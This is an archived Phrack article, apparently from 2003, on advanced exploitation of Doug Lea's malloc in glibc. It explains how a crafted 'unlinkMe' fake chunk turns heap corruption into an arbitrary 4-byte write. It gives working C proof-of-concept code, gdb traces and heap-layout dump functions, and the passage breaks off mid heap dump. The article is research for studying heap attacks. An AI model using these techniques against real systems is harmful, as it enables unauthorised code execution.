💾 Archived View for aphrack.org › issues › phrack61 › 6.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f |=--------------[ Advanced Doug lea's malloc exploits ]-----------------=| |=----------------------------------------------------------------------=| |=-----------------------[ jp <jp@corest.com> ]-------------------------=| |=----------------------------------------------------------------------=| 1 - Abstract 2 - Introduction 3 - Automating exploitation problems 4 - The techniques 4.1 - aa4bmo primitive 4.1.1 - First unlinkMe chunk 4.1.1.1 - Proof of concept 1: unlinkMe chunk 4.1.2 - New unlinkMe chunk 4.2 - Heap layout analysis 4.2.1 - Proof of concept 2: Heap layout debugging 4.3 - Layout reset - initial layout prediction - server model 4.4 - Obtaining information from the remote process 4.4.1 - Modifying server static data - finding process' DATA 4.4.2 - Modifying user input - finding shellcode location 4.4.2.1 - Proof of concept 3 : Hitting the output 4.4.3 - Modifying user input - finding libc's data 4.4.3.1 - Proof of concept 4 : Freeing the output 4.4.4 - Vulnerability based heap memory leak - finding libc's DATA 4.5 - Abusing the leaked information 4.5.1 - Recognizing the arena 4.5.2 - Morecore 4.5.2.1 - Proof of concept 5 : Jumping with morecore 4.5.3 - Libc's GOT bruteforcing 4.5.3.1 - Proof of concept 6 : Hinted libc's GOT bruteforcing 4.5.4 - Libc fingerprinting 4.5.5 - Arena corruption (top, last remainder and bin modification) 4.6 - Copying the shellcode 'by hand' 5 - Conclusions 6 - Thanks 7 - References Appendix I - malloc internal structures overview --------------------------------------------------------------------------- --[ 1. Abstract This paper details several techniques that allow more generic and reliable exploitation of processes that provide us with the ability to overwrite an almost arbitrary 4 byte value at any location. Higher level techniques will be constructed on top of the unlink() basic technique (presented in MaXX's article [2]) to exploit processes which allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic memory allocator). unlink() is used to force specific information leaks of the target process memory layout. The obtained information is used to exploit the target without any prior knowledge or hardcoded values, even when randomization of main object's and/or libraries' load address is present. Several tricks will be presented along different scenarios, including: * special chunks crafting (cushion chunk and unlinkMe chunk) * heap layout consciousness and analysis using debugging tools * automatically finding the injected shellcode in the process memory * forcing a remote process to provide malloc's internal structures addresses * looking for a function pointer within glibc * injecting the shellcode into a known memory address The combination of these techniques allows to exploit the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow' [6] and the CVS 'Directory double free' [7] vulnerabilities in a fully automated way (without hardcoding any target based address or offset), for example. --------------------------------------------------------------------------- --[ 2. Introduction Given a vulnerability which allows us to corrupt malloc's internal structures (i.e. heap overflow, double free(), etc), we can say it 'provides' us with the ability to perform at least an 'almost arbitrary 4 bytes mirrored overwrite' primitive (aa4bmo from now on). We say it's a 'mirrored' overwrite as the location we are writing at minus 8 will be stored in the address given by the value we are writing plus 12. Note we say almost arbitrary as we can only write values that are writable, as a side effect of the mirrored copy. The 'primitive' concept was previously introduced in the 'Advances in format string exploitation' paper [4] and in the 'About exploits writing' presentation [5]. Previous work 'Vudo - An object superstitiously believed to embody magical power' by Michel 'MaXX' Kaempf [2] and 'Once upon a free()' [3] give fully detailed explanations on how to obtain the aa4bmo primitive from a vulnerability. At [8] and [9] can be found the first examples of malloc based exploitation. We'll be using the unlink() technique from [2] as the basic lower level mechanism to obtain the aa4bmo primitive, which we'll use through all the paper to build higher level techniques. malloc higher vulnerability -> structures -> primitive -> level corruption techniques --------------------------------------------------------------------------- heap overflow unlink() freeing the output double free() -> technique -> aa4bmo -> hitting the output ... cushion chunk ... This paper focuses mainly on the question that arises after we reach the aa4bmo primitive: what should we do once we know a process allows us to overwrite four bytes of its memory with almost any arbitrary data? In addition, tips to reach the aa4bmo primitive in a reliable way are explained. Although the techniques are presented in the context of malloc based heap overflow exploitation, they can be employed to aid in format string exploits as well, for example, or any other vulnerability or combination of them, which provide us with similar capabilities. The research was focused on the Linux/Intel platform; glibc-2.2.4, glibc-2.2.5 and glibc-2.3 sources were used, mainly the file malloc.c (an updated version of malloc can be found at [1]). Along this paper we'll use 'malloc' to refer to Doug Lea's malloc based implementation. --------------------------------------------------------------------------- --] 3. Automating exploitation problems When trying to answer the question 'what should we do once we know we can overwrite four bytes of the process memory with almost any arbitrary data?', we face several problems: A] how can we be sure we are overwriting the desired bytes with the desired bytes? As the aa4bmo primitive is the underlying layer that allows us to implement the higher level techniques, we need to be completely sure it is working as expected, even when we know we won't know where our data will be located. Also, in order to be useful, the primitive should not crash the exploited process. B] what should we write? We may write the address of the code we intend to execute, or we may modify a process variable. In case we inject our shellcode in the process, we need to know its location, which may vary together with the evolving process heap/stack layout. C] where should we write? Several known locations can be overwritten to modify the execution flow, including for example the ones shown in [10], [11], [12] and [14]. In case we are overwriting a function pointer (as when overwriting a stack frame, GOT entry, process specific function pointer, setjmp/longjmp, file descriptor function pointer, etc), we need to know its precise location. The same happens if we plan to overwrite a process variable. For example, a GOT entry address may be different even when the source code is the same, as compilation and linking parameters may yield a different process layout, as happens with the same program source code compiled for different Linux distributions. Along this paper, our examples will be oriented at overwriting a function pointer with the address of injected shellcode. However, some techniques also apply to other cases. Typical exploits are target based, hardcoding at least one of the values required for exploitation, such as the address of a given GOT entry, depending on the targeted daemon version and the Linux distribution and release version. Although this simplifies the exploitation process, it is not always feasible to obtain the required information (i.e. a server can be configured to lie or to not disclose its version number). Besides, we may not have the needed information for the target. Bruteforcing more than one exploit parameter may not always be possible, if each of the values can't be obtained separately. There are some well known techniques used to improve the reliability (probability of success) of a given exploit, but they are only an aid for improving the exploitation chances. For example, we may pad the shellcode with more nops, we may also inject a larger quantity of shellcode in the process (depending on the process being exploited) inferring there are more possibilities of hitting it that way. Although these enhancements will improve the reliability of our exploit, they are not enough for an exploit to work always on any vulnerable target. In order to create a fully reliable exploit, we'll need to obtain both the address where our shellcode gets injected and the address of any function pointer to overwrite. In the following, we discuss how these requirements may be accomplished in an automated way, without any prior knowledge of the target server. Most of the article details how we can force a remote process to leak the required information using aa4bmo primitive. --------------------------------------------------------------------------- --] 4. The techniques --] 4.1 aa4bmo primitive --] 4.1.1 First unlinkMe chunk In order to be sure that our primitive is working as expected, even in scenarios where we are not able to fully predict the location of our injected fake chunk, we build the following 'unlinkMe chunk': -4 -4 what where-8 -11 -15 -19 ... |--------|--------|--------|--------|--------|--------|--------|... sizeB sizeA FD BK ----------- nasty chunk -----------|--------|--------------------> (X) We just need a free() call to hit our block after the (X) point to overwrite 'where' with 'what'. When free() is called the following sequence takes place: - chunk_free() tries to look for the next chunk, it takes the chunk's size (<0) and adds it to the chunk address, obtaining always the sizeA of the 'nasty chunk' as the start of the next chunk, as all the sizes after the (X) are relative to it. - Then, it checks the prev_inuse bit of our chunk, but as we set it (each of the sizes after the (X) point has the prev_inuse bit set, the IS_MMAPPED bit is not set) it does not try to backward consolidate (because the previous chunk 'seems' to be allocated). - Finally, it checks if the fake next chunk (our nasty chunk) is free. It takes its size (-4) to look for the next chunk, obtaining our fake sizeB, and checks for the prev_inuse flag, which is not set. So, it tries to unlink our nasty chunk from its bin to coalesce it with the chunk being freed. - When unlink() is called, we get the aa4bmo primitive. The unlink() technique is described in [2] and [3]. --] 4.1.1.1 Proof of concept 1: unlinkMe chunk We'll use the following code to show in a simple way the unlinkMe chunk in action: #define WHAT_2_WRITE 0xbfffff00 #define WHERE_2_WRITE 0xbfffff00 #define SZ 256 #define SOMEOFFSET 5 + (rand() % (SZ-1)) #define PREV_INUSE 1 #define IS_MMAP 2 int main(void){ unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = WHAT_2_WRITE; unlinkMe[i++] = WHERE_2_WRITE-8; for(;i<SZ;i++){ unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ; } free(unlinkMe+SOMEOFFSET); return 0; } Breakpoint 3, free (mem=0x804987c) at heapy.c:3176 if (mem == 0) /* free(0) has no effect */ 3181 p = mem2chunk(mem); 3185 if (chunk_is_mmapped(p)) /* release mmapped memory. */ We did not set the IS_MMAPPED bit. 3193 ar_ptr = arena_for_ptr(p); 3203 (void)mutex_lock(&ar_ptr->mutex); 3205 chunk_free(ar_ptr, p); After some checks, we reach chunk_free(). (gdb) s chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221 Let's see how does our chunk looks at a random location... (gdb) x/20x p 0x8049874: 0xfffffd71 0xfffffd6d 0xfffffd69 0xfffffd65 0x8049884: 0xfffffd61 0xfffffd5d 0xfffffd59 0xfffffd55 0x8049894: 0xfffffd51 0xfffffd4d 0xfffffd49 0xfffffd45 0x80498a4: 0xfffffd41 0xfffffd3d 0xfffffd39 0xfffffd35 0x80498b4: 0xfffffd31 0xfffffd2d 0xfffffd29 0xfffffd25 We dumped the chunk including its header, as received by chunk_free(). 3221 INTERNAL_SIZE_T hd = p->size; /* its head field */ 3235 sz = hd & ~PREV_INUSE; (gdb) p/x hd $5 = 0xfffffd6d (gdb) p/x sz $6 = 0xfffffd6c 3236 next = chunk_at_offset(p, sz); 3237 nextsz = chunksize(next); Using the negative relative size, chunk_free() gets the next chunk, let's see which is the 'next' chunk: (gdb) x/20x next 0x80495e0: 0xfffffffc 0xfffffffc 0xbfffff00 0xbffffef8 0x80495f0: 0xfffffff5 0xfffffff1 0xffffffed 0xffffffe9 0x8049600: 0xffffffe5 0xffffffe1 0xffffffdd 0xffffffd9 0x8049610: 0xffffffd5 0xffffffd1 0xffffffcd 0xffffffc9 0x8049620: 0xffffffc5 0xffffffc1 0xffffffbd 0xffffffb9 (gdb) p/x nextsz $7 = 0xfffffffc It's our nasty chunk... 3239 if (next == top(ar_ptr)) /* merge with top */ 3278 islr = 0; 3280 if (!(hd & PREV_INUSE)) /* consolidate backward */ We avoid the backward consolidation, as we set the PREV_INUSE bit. 3294 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ But we force a forward consolidation. The inuse_bit_at_offset() macro adds nextsz (-4) to our nasty chunk's address, and looks for the PREV_INUSE bit in our other -4 size. 3296 sz += nextsz; 3298 if (!islr && next->fd == last_remainder(ar_ptr)) 3306 unlink(next, bck, fwd); unlink() is called with our supplied values: 0xbffffef8 and 0xbfffff00 as forward and backward pointers (it does not crash, as they are valid addresses). next = chunk_at_offset(p, sz); 3315 set_head(p, sz | PREV_INUSE); 3316 next->prev_size = sz; 3317 if (!islr) { 3318 frontlink(ar_ptr, p, sz, idx, bck, fwd); fronlink() is called and our chunk is inserted in the proper bin. --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0 bin 126 @ 0x40018430 free_chunk @ 0x80498d8 - size 0xfffffd64 The chunk was inserted into one of the bigger bins... as a consequence of its 'negative' size. The process won't crash if we are able to maintain this state. If more calls to free() hit our chunk, it won't crash. But it will crash in case a malloc() call does not find any free chunk to satisfy the allocation requirement and tries to split one of the bins in the bin number 126, as it will try to calculate where is the chunk after the fake one, getting out of the valid address range because of the big 'negative' size (this may not happen in a scenario where there is enough memory allocated between the fake chunk and the top chunk, forcing this layout is not very difficult when the target server does not impose tight limits to our requests size). We can check the results of the aa4bmo primitive: (gdb) x/20x 0xbfffff00 !!!!!!!!!! !!!!!!!!!! 0xbfffff00: 0xbfffff00 0x414c0065 0x653d474e 0xbffffef8 0xbfffff10: 0x6f73692e 0x39353838 0x53003531 0x415f4853 0xbfffff20: 0x41504b53 0x2f3d5353 0x2f727375 0x6562696c 0xbfffff30: 0x2f636578 0x6e65706f 0x2f687373 0x6d6f6e67 0xbfffff40: 0x73732d65 0x73612d68 0x7361706b 0x4f480073 If we add some bogus calls to free() in the following way: for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET); we obtain the following result for example: --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 126 @ 0x40018430 free_chunk @ 0x8049958 - size 0x8049958 free_chunk @ 0x8049954 - size 0xfffffd68 free_chunk @ 0x8049928 - size 0xfffffd94 free_chunk @ 0x8049820 - size 0x40018430 free_chunk @ 0x80499c4 - size 0xfffffcf8 free_chunk @ 0x8049818 - size 0xfffffea4 without crashing the process. --] 4.1.2 New unlinkMe chunk Changes introduced in newer libc versions (glibc-2.3 for example) affect our unlinkMe chunk. The main problem for us is related to the addition of one flag bit more. SIZE_BITS definition was modified, from: #define SIZE_BITS (PREV_INUSE|IS_MMAPPED) to: #define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) The new flag, NON_MAIN_ARENA is defined like this: /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained from a non-main arena. This is only set immediately before handing the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 This makes our previous unlinkMe chunk to fail in two different points in systems using a newer libc. Our first problem is located within the following code: public_fREe(Void_t* mem) { ... ar_ptr = arena_for_chunk(p); ... _int_free(ar_ptr, mem); ... where: #define arena_for_chunk(ptr) \ (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena) and /* check for chunk from non-main arena */ #define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) If heap_for_ptr() is called when processing our fake chunk, the process crashes in the following way: 0x42074a04 in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a04 <free+84>: and $0x4,%edx (gdb) x/20x $edx 0xffffffdd: Cannot access memory at address 0xffffffdd 0x42074a07 in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a07 <free+87>: je 0x42074a52 <free+162> 0x42074a09 in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a09 <free+89>: and $0xfff00000,%eax 0x42074a0e in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a0e <free+94>: mov (%eax),%edi (gdb) x/x $eax 0x8000000: Cannot access memory at address 0x8000000 Program received signal SIGSEGV, Segmentation fault. 0x42074a0e in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a0e <free+94>: mov (%eax),%edi So, the fake chunk size has to have its NON_MAIN_ARENA flag not set. Then, our second problem takes places when the supplied size is masked with the SIZE_BITS. Older code looked like this: nextsz = chunksize(next); 0x400152e2 <chunk_free+64>: mov 0x4(%edx),%ecx 0x400152e5 <chunk_free+67>: and $0xfffffffc,%ecx and new code is: nextsize = chunksize(nextchunk); 0x42073fe0 <_int_free+112>: mov 0x4(%ecx),%eax 0x42073fe3 <_int_free+115>: mov %ecx,0xffffffec(%ebp) 0x42073fe6 <_int_free+118>: mov %eax,0xffffffe4(%ebp) 0x42073fe9 <_int_free+121>: and $0xfffffff8,%eax So, we can't use -4 anymore, the smaller size we can provide is -8. Also, we are not able anymore to make every chunk to point to our nasty chunk. The following code shows our new unlinkMe chunk which solves both problems: unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where,unsigned long sz){ unsigned long *unlinkMe; int i=0; if(sz<13) sz = 13; unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long)); // 1st nasty chunk unlinkMe[i++] = -4; // PREV_INUSE is not set unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; // 2nd nasty chunk unlinkMe[i++] = -4; // PREV_INUSE is not set unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; for(;i<sz;i++) if(i%2) // relative negative offset to 1st nasty chunk unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE; else // relative negative offset to 2nd nasty chunk unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE; free(unlinkMe+SOMEOFFSET(sz)); return unlinkMe; } The process is similar to the previously explained for the first unlinkMe chunk version. Now, we are using two nasty chunks, in order to be able to point every chunk to one of them. Also, we added a -4 (PREV_INUSE flag not set) before each of the nasty chunks, which is accessed in step 3 of the '4.1.1 First unlinkMe chunk' section, as -8 is the smaller size we can provide. This new version of the unlinkMe chunk works both in older and newer libc versions. Along the article most proof of concept code uses the first version, replacing the aa4bmoPrimitive() function is enough to obtain an updated version. --------------------------------------------------------------------------- --] 4.2 Heap layout analysis You may want to read the 'Appendix I - malloc internal structures overview' section before going on. Analysing the targeted process heap layout and its evolution allows to understand what is happening in the process heap in every moment, its state, evolution, changes... etc. This allows to predict the allocator behavior and its reaction to each of our inputs. Being able to predict the heap layout evolution, and using it to our advantage is extremely important in order to obtain a reliable exploit. To achieve this, we'll need to understand the allocation behavior of the process (i.e. if the process allocates large structures for each connection, if lots of free chunks/heap holes are generated by a specific command handler, etc), which of our inputs may be used to force a big/small allocation, etc. We must pay attention to every use of the malloc routines, and how/where we might be able to influence them via our input so that a reliable situation is reached. For example, in a double free() vulnerability scenario, we know the second free() call (trying to free already freed memory), will probably crash the process. Depending on the heap layout evolution between the first free() and the second free(), the portion of memory being freed twice may: have not changed, have been reallocated several times, have been coalesced with other chunks or have been overwritten and freed. The main factors we have to recognize include: A] chunk size: does the process allocate big memory chunks? is our input stored in the heap? what commands are stored in the heap? is there any size limit to our input? am I able to force a heap top (top_chunk) extension? B] allocation behavior: are chunks allocated for each of our connections? what size? are chunks allocated periodically? are chunks freed periodically? (i.e. async garbage collector, cache pruning, output buffers, etc) C] heap holes: does the process leave holes? when? where? what size? can we fill the hole with our input? can we force the overflow condition in this hole? what is located after the hole? are we able to force the creation of holes? D] original heap layout: is the heap layout predictable after process initialization? after accepting a client connection? (this is related to the server mode) During our tests, we use an adapted version of a real malloc implementation taken from the glibc, which was modified to generate debugging output for each step of the allocator's algorithms, plus three helper functions added to dump the heap layout and state. This allows us to understand what is going on during exploitation, the actual state of the allocator internal structures, how our input affects them, the heap layout, etc. Here is the code of the functions we'll use to dump the heap state: static void #if __STD_C heap_dump(arena *ar_ptr) #else heap_dump(ar_ptr) arena *ar_ptr; #endif { mchunkptr p; fprintf(stderr,"\n--- HEAP DUMP ---\n"); fprintf(stderr, " ADDRESS SIZE FD BK\n"); fprintf(stderr,"sbrk_base %p\n", (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)); p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK); for(;;) { fprintf(stderr, "chunk %p 0x%.4x", p, (long)p->size); if(p == top(ar_ptr)) { fprintf(stderr, " (T)\n"); break; } else if(p->size == (0|PREV_INUSE)) { fprintf(stderr, " (Z)\n"); break; } if(inuse(p)) fprintf(stderr," (A)"); else fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk); if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) fprintf(stderr," (LR)"); else if(p->fd==p->bk & ~inuse(p)) fprintf(stderr," (LC)"); fprintf(stderr,"\n"); p = next_chunk(p); } fprintf(stderr,"sbrk_end %p\n",sbrk_base+sbrked_mem); } static void #if __STD_C heap_layout(arena *ar_ptr) #else heap_layout(ar_ptr) arena *ar_ptr; #endif { mchunkptr p; fprintf(stderr,"\n--- HEAP LAYOUT ---\n"); p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK); for(;;p=next_chunk(p)) { if(p==top(ar_ptr)) { fprintf(stderr,"|T|\n\n"); break; } if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) { fprintf(stderr,"|L|"); continue; } if(inuse(p)) { fprintf(stderr,"|A|"); continue; } fprintf(stderr,"|%lu|",bin_index(p->size)); continue; } } } static void #if __STD_C bin_dump(arena *ar_ptr) #else bin_dump(ar_ptr) arena *ar_ptr; #endif { int i; mbinptr b; mchunkptr p; fprintf(stderr,"\n--- BIN DUMP ---\n"); (void)mutex_lock(&ar_ptr->mutex); fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n", ar_ptr,top(ar_ptr),chunksize(top(ar_ptr))); for (i = 1; i < NAV; ++i) { char f = 0; b = bin_at(ar_ptr, i); for (p = last(b); p != b; p = p->bk) { if(!f){ f = 1; fprintf(stderr," bin %d @ %p\n",i,b); } fprintf(stderr," free_chunk @ %p - size 0x%.4x\n", p,chunksize(p)); } (void)mutex_unlock(&ar_ptr->mutex); fprintf(stderr,"\n"); } --] 4.2.1 Proof of concept 2: Heap layout debugging We'll use the following code to show how the debug functions help to analyse the heap layout: #include <malloc.h> int main(void){ void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata; curly = malloc(256); larry = malloc(256); moe = malloc(256); po = malloc(256); lala = malloc(256); free(larry); free(po); tw = malloc(128); piniata = malloc(128); dipsi = malloc(1500); free(dipsi); free(lala); } The sample debugging section helps to understand malloc's basic algorithms and data structures: (gdb) set env LD_PRELOAD ./heapy.so We override the real malloc with our debugging functions, heapy.so also includes the heap layout dumping functions. (gdb) r Starting program: /home/jp/cerebro/heapy/debugging_sample 4 curly = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) extended top chunk: previous size 0x0 new top 0x80496a0 size 0x961 returning 0x8049598 from top chunk (gdb) p heap_dump(0x40018040) --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0961 (T) sbrk_end 0x804a000 (gdb) p bin_dump(0x40018040) --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960 (gdb) p heap_layout(0x40018040) --- HEAP LAYOUT --- |A||T| The first chunk is allocated, note the difference between the requested size (256 bytes) and the size passed to chunk_alloc(). As there is no chunk, the top needs to be extended and memory is requested to the operating system. More memory than the needed is requested, the remaining space is allocated to the 'top chunk'. In the heap_dump()'s output the (A) represents an allocated chunk, while the (T) means the chunk is the top one. Note the top chunk's size (0x961) has its last bit set, indicating the previous chunk is allocated: /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */ #define PREV_INUSE 0x1UL The bin_dump()'s output shows no bin, as there is no free chunk yet, except from the top. The heap_layout()'s output just shows an allocated chunk next to the top. 5 larry = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80496a0 from top chunk new top 0x80497a8 size 0x859 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0859 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858 --- HEAP LAYOUT --- |A||A||T| A new chunk is allocated from the remaining space at the top chunk. The same happens with the next malloc() calls. 6 moe = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80497a8 from top chunk new top 0x80498b0 size 0x751 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0109 (A) chunk 0x80498b0 0x0751 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750 --- HEAP LAYOUT --- |A||A||A||T| 7 po = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80498b0 from top chunk new top 0x80499b8 size 0x649 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0109 (A) chunk 0x80498b0 0x0109 (A) chunk 0x80499b8 0x0649 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648 --- HEAP LAYOUT --- |A||A||A||A||T| 8 lala = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80499b8 from top chunk new top 0x8049ac0 size 0x541 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0109 (A) chunk 0x80498b0 0x0109 (A) chunk 0x80499b8 0x0109 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 --- HEAP LAYOUT --- |A||A||A||A||A||T| 9 free(larry); [1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0) fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0109 (A) chunk 0x80499b8 0x0109 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 33 @ 0x40018148 free_chunk @ 0x80496a0 - size 0x0108 --- HEAP LAYOUT --- |A||33||A||A||A||T| A chunk is freed. The frontlink() macro is called to insert the new free chunk into the corresponding bin: frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd); Note the arena address parameter (ar_ptr) was omitted in the output. In this case, the chunk at 0x80496a0 was inserted in the bin number 33 according to its size. As this chunk is the only one in its bin (we can check this in the bin_dump()'s output), it's a lonely chunk (LC) (we'll see later that being lonely makes 'him' dangerous...), its bk and fd pointers are equal and point to the bin number 33. In the heap_layout()'s output, the new free chunk is represented by the number of the bin where it is located. 10 free(po); [1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0) fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 | chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 | chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 33 @ 0x40018148 free_chunk @ 0x80496a0 - size 0x0108 free_chunk @ 0x80498b0 - size 0x0108 --- HEAP LAYOUT --- |A||33||A||33||A||T| Now, we have two free chunks in the bin number 33. We can appreciate now how the double linked list is built. The forward pointer of the chunk at 0x80498b0 points to the other chunk in the list, the backward pointer points to the list head, the bin. Note that there is no longer a lonely chunk. Also, we can see the difference between a heap address and a libc address (the bin address), 0x080496a0 and 0x40018148 respectively. 11 tw = malloc(128); [1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136) unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split) new last_remainder 0x8049728 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 1 @ 0x40018048 free_chunk @ 0x8049728 - size 0x0080 bin 33 @ 0x40018148 free_chunk @ 0x80498b0 - size 0x0108 --- HEAP LAYOUT --- |A||A||L||A||33||A||T| In this case, the requested size for the new allocation is smaller than the size of the available free chunks. So, the first freed buffer is taken from the bin with the unlink() macro and splitted. The first part is allocated, the remaining free space is called the 'last remainder', which is always stored in the first bin, as we can see in the bin_dump()'s output. In the heap_layout()'s output, the last remainder chunk is represented with a L; in the heap_dump()'s output, (LR) is used. 12 piniata = malloc(128); [1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136) clearing last_remainder frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split) new last_remainder 0x8049938 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 $25 = void --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 1 @ 0x40018048 free_chunk @ 0x8049938 - size 0x0080 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||L||A||T| As the last_remainder size is not enough for the requested allocation, the last remainder is cleared and inserted as a new free chunk into the corresponding bin. Then, the other free chunk is taken from its bin and split as in the previous step. 13 dipsi = malloc(1500); [1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504) clearing last_remainder frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder extended top chunk: previous size 0x540 new top 0x804a0a0 size 0xf61 returning 0x8049ac0 from top chunk --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 | chunk 0x80497a8 